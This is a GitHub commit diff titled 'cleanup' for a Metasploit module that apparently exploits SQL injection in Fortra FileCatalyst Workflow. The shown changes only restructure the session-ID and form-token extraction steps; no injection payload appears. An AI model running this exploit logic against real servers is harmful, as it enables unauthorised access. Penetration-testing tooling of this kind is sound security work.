Skip to content

Commit 5a94869

Browse files
committed
cleanup
cleanup
1 parent 3577ae8 commit 5a94869

File tree

1 file changed

+10
-17
lines changed

1 file changed

+10
-17
lines changed

modules/auxiliary/admin/http/fortra_filecatalyst_workflow_sqli.rb

Lines changed: 10 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -53,20 +53,19 @@ def run
5353
unless res
5454
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
5555
end
56-
if res.code == 200
57-
print_good('Server reachable.')
58-
else
56+
unless res.code == 200
5957
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
6058
end
59+
print_good('Server reachable.')
6160

6261
raw_res = res.to_s
63-
if raw_res =~ /JSESSIONID=(\w+);/
64-
jsessionid = ::Regexp.last_match(1)
65-
print_status("JSESSIONID value: #{jsessionid}")
66-
else
62+
unless raw_res =~ /JSESSIONID=(\w+);/
6763
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
6864
end
6965

66+
jsessionid = ::Regexp.last_match(1)
67+
print_status("JSESSIONID value: #{jsessionid}")
68+
7069
res = send_request_cgi(
7170
'method' => 'GET',
7271
'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"),
@@ -86,12 +85,6 @@ def run
8685

8786
token_value = ::Regexp.last_match(1)
8887
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
89-
# if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
90-
# token_value = ::Regexp.last_match(1)
91-
# print_status("FCWEB.FORM.TOKEN value: #{token_value}")
92-
# else
93-
# fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
94-
# end
9588

9689
res = send_request_cgi(
9790
'method' => 'GET',
@@ -228,13 +221,13 @@ def run
228221
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
229222

230223
body = res.body
231-
if body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
232-
token_value = ::Regexp.last_match(1)
233-
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
234-
else
224+
unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/
235225
fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.')
236226
end
237227

228+
token_value = ::Regexp.last_match(1)
229+
print_status("FCWEB.FORM.TOKEN value: #{token_value}")
230+
238231
res = send_request_cgi(
239232
'method' => 'POST',
240233
'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'),

0 commit comments

Comments
 (0)